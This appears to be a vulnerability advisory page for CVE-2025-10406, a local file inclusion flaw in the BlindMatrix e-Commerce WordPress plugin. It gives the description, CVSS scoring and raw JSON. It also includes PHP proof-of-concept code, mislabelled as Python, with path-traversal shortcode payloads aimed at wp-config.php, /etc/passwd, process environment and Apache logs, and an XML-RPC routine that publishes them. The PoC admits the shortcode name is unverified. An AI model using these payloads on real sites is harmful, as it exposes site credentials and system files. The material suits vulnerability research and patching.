Security Vulnerability Report
中文
CVE-2025-10406 CVSS 5.5 MEDIUM

CVE-2025-10406

Published: 2025-10-15 06:15:34
Last Modified: 2026-04-15 00:35:42

Description

The BlindMatrix e-Commerce WordPress plugin before 3.1 does not validate some shortcode attributes before using them to generate paths passed to include function/s, allowing any authenticated users, such as contributors, to perform LFI attacks.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BlindMatrix e-Commerce < 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-10406 - BlindMatrix e-Commerce WordPress Plugin LFI PoC * * This PoC demonstrates how an authenticated user with Contributor * privileges can exploit the Local File Inclusion vulnerability * in the BlindMatrix e-Commerce WordPress plugin (versions < 3.1). * * Usage: * 1. Login to WordPress as a Contributor or higher * 2. Create a new post with the malicious shortcode * 3. Preview or publish the post to trigger the LFI */ // Malicious shortcode to be embedded in a WordPress post $malicious_shortcode = '[blindmatrix_template file="../../../../wp-config.php"]'; // Alternative payloads for different file targets $payloads = array( '[blindmatrix_template file="../../../../wp-config.php"]', // WordPress config '[blindmatrix_template file="../../../../etc/passwd"]', // System passwd file '[blindmatrix_template file="../../../../proc/self/environ"]', // Environment variables '[blindmatrix_template file="../../../../var/log/apache2/access.log"]', // Log poisoning target ); // Example: Using WordPress XML-RPC to create a post with the malicious shortcode function exploit_lfi($wp_url, $username, $password, $shortcode) { $xmlrpc_url = $wp_url . '/xmlrpc.php'; $request = xmlrpc_encode_request('wp.newPost', array( 1, $username, $password, array( 'post_title' => 'Test Post', 'post_content' => $shortcode, 'post_status' => 'publish', 'post_author' => 1 ) )); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $xmlrpc_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } // Note: The actual shortcode name and attribute may vary. // Researchers should verify the exact shortcode used by the plugin. echo "PoC for CVE-2025-10406\n"; echo "Insert this shortcode in a WordPress post as a Contributor:\n"; echo $malicious_shortcode . "\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10406", "sourceIdentifier": "[email protected]", "published": "2025-10-15T06:15:34.317", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BlindMatrix e-Commerce WordPress plugin before 3.1 does not validate some shortcode attributes before using them to generate paths passed to include function/s, allowing any authenticated users, such as contributors, to perform LFI attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://wpscan.com/vulnerability/d8bdd2d4-c03c-4e7f-9c8a-6efc010311b6/", "source": "[email protected]"}]}}